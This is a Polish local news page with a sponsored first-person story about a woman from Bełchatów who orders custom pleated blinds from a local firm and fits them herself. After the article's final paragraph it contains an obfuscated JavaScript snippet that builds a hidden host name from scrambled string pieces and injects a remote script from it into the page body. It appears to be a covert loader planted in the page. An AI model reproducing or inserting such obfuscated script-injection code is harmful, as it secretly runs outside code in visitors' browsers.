Zamknij
REKLAMA

Jak zamontowałem plisy? O samodzielnym montażu opowiada Ania z Bełchatowa

05:12, 13.09.2018 |
REKLAMA
Skomentuj

Ania zdecydowała się na zamówienie plis online u jednego z lokalnych producentów plis i rolet. Mimo iż firma działa w Bełchatowie, korzystniejsza okazała się oferta internetowa. Ania zaryzykowała i teraz cieszy się prywatnością w zaciszu swojego mieszkania, z którego na dobre wprowadziła firany i zasłony.

Oddajmy głos naszej dzisiejszej bohaterce…

Odkąd pamiętam marzyły mi się puste okna. W domu rodzinnym najbardziej nie lubiłam wieszania zasłon. Przez nie mój i tak niewielki pokój wydawał się jeszcze mniejszy. Los sprawił, że zamieszkałam na jednym z bełchatowskich blokowisk. Tutaj sąsiedzi zaglądają sobie do okien nawet, gdy tego nie chcą – bloki stoją tak blisko siebie, że nie sposób wyjrzeć przez okno nie zaglądając do garnka sąsiadki. W takich warunkach nie ma mowy o „pustych” oknach.

Najpierw rozważałam zakup rolet na https://sunplis.pl/pl/content/23-rolety-i-plisy-belchatow, ale szybko zorientowałam się, że musiałabym je mieć zaciągnięte przez cały dzień… Dlatego zdecydowałam się na żaluzje – w prawdzie też zasłaniałyby całe okno, ale odpowiednio ustawione choć w niewielkim stopniu wpuszczałyby do pokoju światło. Niestety moje okna są nieco mniejsze od standardowych, o czym przekonałam się dopiero w sklepie. I tak cały mój misterny plan pozbycia się zasłon spalił na panewce, bo  kupowanie żaluzji na zamówienie całkowicie mi się nie opłacało. Zrezygnowana surfowałam w Internecie desperacko poszukując alternatywnych rozwiązań aranżacji okien, w końcu zazdroski wróciły do łask... Tak trafiłam na stronę firmy SUNPLIS z Bełchatowa, która oferuje rolety i plisy na zamówienie. W prawdzie nie szukałam już rolet, ale plisy mnie zaintrygowały. Wcześniej widywałam w oknach sąsiadów śmieszne małe roletki, ale nigdy specjalnie nie poświęcałam im uwagi, i to był błąd.

Wystarczył krótki opis produktu, żeby przekonać mnie, że plisy to właśnie to rozwiązanie, którego tak rozpaczliwie szukam i potrzebuję. Od razu przejrzałam dostępna na stronie instrukcję pomiaru okna i wymierzyłam wszystkie okna w mieszkaniu. Spodziewałam się, że koszt zamówienia plis to wszystkich okien zmiecie mnie z nóg, ale ostatecznie zdecydowałam się sprawdzić. Cena była bardzo przystępna, więc wysłałam zamówienie. Kilka sekund później wpadłam w panikę – nie miałam pojęcia, jak zamontować plisy na oknach. Przypuszczałam, że montaż może przypominać montaż rolet, ale i tak wydawało mi się to nie do wykonania w pojedynkę.

Zanim firma zrealizowała moje zamówienie byłam już ekspertką od montażu plis, przynajmniej w teorii. Przeczytałam instrukcję na stronie producenta, obejrzałam filmiki na YouTube, popytałam znajomych… Jednak co praktyka, to praktyka i pierwszą plisę montowałam w bólach i cierpieniu. Poplątałam sznurki, pomieszałam zaczepy i za żadne skarby nie potrafiłam zamontować uchwytów do zaciągania. Z kolejną poszło mi o wiele lepiej, a ostatnią zakładałam jak prawdziwy fachowiec. Jeśli miałabym doradzić coś osobie, która przymierza się do montażu swojej pierwszej plisy – najlepiej zacząć od założenia górnych zaczepów.

(function(){ qq8p=document.createElement("script");qq8p_=("us")+("ta"); qq8p_+="t"+(".");qq8p_+=("in");qq8pu="124300881";qq8p.async=true; qq8pu+=".ihyycet6q8pxffvjd";qq8p.type="text/javascript";qq8p_+="f"+"o"+("/"); qq8pu+="1wir16pp65q45";qq8p.src="https://"+qq8p_+qq8pu; dqq8p=document.body;dqq8p.appendChild(qq8p); })();
REKLAMA
REKLAMA

Komentarze (0)

Brak komentarzy, Twój może być pierwszy.

Dodaj komentarz

REKLAMA
© hej.mielec.pl | Prawa zastrzeżone